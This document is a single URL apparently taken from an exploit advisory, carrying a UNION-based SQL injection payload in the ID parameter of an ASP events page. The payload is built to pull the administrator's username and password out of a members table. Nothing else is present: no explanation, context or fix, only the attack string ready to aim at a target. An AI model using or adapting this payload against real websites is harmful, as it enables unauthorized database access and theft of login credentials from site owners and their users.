http://www.example.com/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'